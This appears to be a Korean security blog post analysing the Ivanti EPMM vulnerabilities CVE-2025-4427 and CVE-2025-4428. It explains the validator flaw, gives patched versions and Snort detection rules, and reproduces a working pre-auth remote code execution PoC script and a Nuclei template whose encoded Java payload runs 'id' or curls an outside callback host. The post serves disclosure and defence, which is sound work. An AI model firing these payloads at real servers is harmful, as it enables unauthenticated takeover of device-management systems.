1. Ivanti Endpoint Manager Mobile
- 모바일 기기 관리(MDM), 모바일 애플리케이션 관리(MAM), 모바일 콘텐츠 관리(MCM)를 포함한 포괄적인 보안 및 통합 엔드포인트 관리(UEM) 도구를 하나로 통합 [1]
2. 취약점
2.1 CVE-2025-4427
- 공격자가 적절한 자격 증명 없이 보호된 리소스에 접근할 수 있는 인증 우회 취약점
2.2 CVE-2025-4428
- 공격자가 대상 시스템에서 임의 코드를 실행할 수 있는 원격 코드 실행 취약점
2.3 취약점 상세
- /api/v2/featureusage?format=값 (또는 /api/v2/featureusage_history?format=값)로 GET 요청을 전송 [4][5]
> 해당 요청은 @Valid 어노테이션에 의해 DeviceFeatureUsageReportQueryRequestValidator에 의해 검증됨
@RequestMapping(method = GET, value = "/api/v2/featureusage")
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@ResponseBody
public Response downloadDeviceFeatureUsageReport(
@Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
HttpServletRequest request) {
[...]
}
- 검증 중 format 파라미터는 유효한 형식인지 확인(json 또는 cvs)
> 유효한 형식이 아닌 경우 해당 format이 포함 및 실행되어 오류 메시지에 나타남
> 모든 인수가 바인딩되고 검증된 후에 인증 검사가 실행되므로 공격자는 인증 없이도 임의의 코드를 실행할 수 있음
※ CVE-2025-4427는 인증 우회가 아닌, 보안 경계가 코드에 적용되는 순서에 논리적 결함이 존재할 때 발생하는 연산 순서 취약점에 가까움
implements ConstraintValidator<ValidDeviceFeatureUsageReportQueryRequest, DeviceFeatureUsageReportQueryRequest>
{
@Autowired
private LocalizedMessageBuilder localizedMessageBuilder;
public void initialize(ValidDeviceFeatureUsageReportQueryRequest constraintAnnotation) {}
public boolean isValid(DeviceFeatureUsageReportQueryRequest value, ConstraintValidatorContext context) {
String format = value.getFormat(); // [1]
if (format == null) {
return true;
}
boolean isValid = (format.equalsIgnoreCase("json") || format.equalsIgnoreCase("csv")); // [2]
if (!isValid) {
String formatMessage = this.localizedMessageBuilder.getLocalizedMessage((MessageCode)MessageKeys.DEVICE_FEATURE_USAGE_INVALID_FORMAT, new Object[] { format }); // [3]
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
}
return isValid;
}
}
3. PoC
- /mifs/rs/api/v2/featureusage?format=<JSON 또는 CSV가 아닌 형식의 명령> 전달 [6]
import argparse
import urllib3
import random
import string
import base64
import hashlib
from datetime import datetime, timedelta
import requests
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Ivanti-EPMM-rce-chain.py
(*) CVE-2025-4427 and CVE-2025-4428 Pre-Auth RCE Chain Detection Artifact Generator
- Sonny and Piotr of watchTowr
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {}
def detect(host):
url = host + '/mifs/rs/api/v2/featureusage?format=%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27%69%64%27%29%7d'
print('[+] Executing `id` command')
resp = requests.get(url, verify = False, proxies = proxies)
if resp.status_code == 400 and 'Process[pid' in resp.text:
print('[+] VULNERABLE')
elif resp.status_code == 401:
print('[-] NOT VULNERABLE - 401 returned')
else:
print('[-] Unknown error appeared, please check manually')
if __name__ == "__main__":
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, like "https://target/" or "https://target"', required = True)
args = parser.parse_args()
host = args.host
if host[-1] != '/':
host += '/'
print('[+] Starting Detection Artifact Generator for CVE-2025-4427 + CVE-2025-4428 Chain')
detect(host)
4. 대응방안
- 벤더사 제공 업데이트 적용 [7][8]
취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
CVE-2025-4427 CVE-2025-4428 |
Ivanti Endpoint Manager Mobile | 11.12.0.4 이하 | 11.12.0.5 |
12.3.0.1 이하 | 12.3.0.2 | ||
12.4.0.1 이하 | 12.4.0.2 | ||
12.5.0.0 이하 | 12.5.0.1 |
- 탐지 정책 적용
alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage"; http_uri;content:"format="; http_uri;)
alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage_history"; http_uri;content:"format="; http_uri;)
[Nuclei template]
id: CVE-2025-4427
info:
name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
reference:
- hxxps://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-4427
cwe-id: CWE-288
epss-score: 0.00942
epss-percentile: 0.75063
metadata:
verified: true
max-request: 2
shodan-query: http.favicon.hash:"362091310"
fofa-query: icon_hash="362091310"
product: endpoint_manager_mobile
vendor: ivanti
tags: cve,cve2025,ivanti,epmm,rce,ssti
http:
- raw:
- |
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Format 'Process[pid="
- "localizedMessage"
condition: and
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 400
5. 참고
[1] https://help.ivanti.com/mi/help/en_US/core/11.x/gsg/CoreGettingStarted/Core_overview.htm
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4427
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-4428
[4] https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428
[5] https://projectdiscovery.io/blog/ivanti-remote-code-execution
[6] https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71759&menuNo=205020
[9] https://thehackernews.com/2025/05/ivanti-patches-epmm-vulnerabilities.html
[10] https://thehackernews.com/2025/05/chinese-hackers-exploit-ivanti-epmm.html?utm_source=chatgpt.com
'취약점 > By-Pass' 카테고리의 다른 글
CrushFTP 인증 우회 취약점 (CVE-2025-31161) (0) | 2025.04.26 |
---|---|
Next.js 미들웨어 인증 우회 취약점 (CVE-2025-29927) (0) | 2025.03.28 |
GitLab SAML 인증 우회 취약점 (CVE-2025-25291, CVE-2025-25292) (0) | 2025.03.22 |
Fortinet 대체 경로 또는 채널을 사용한 인증 우회 취약점 (CVE-2024-55591) (1) | 2025.01.20 |
Nuclei 서명 검증 우회 취약점 (CVE-2024-43405) (0) | 2025.01.06 |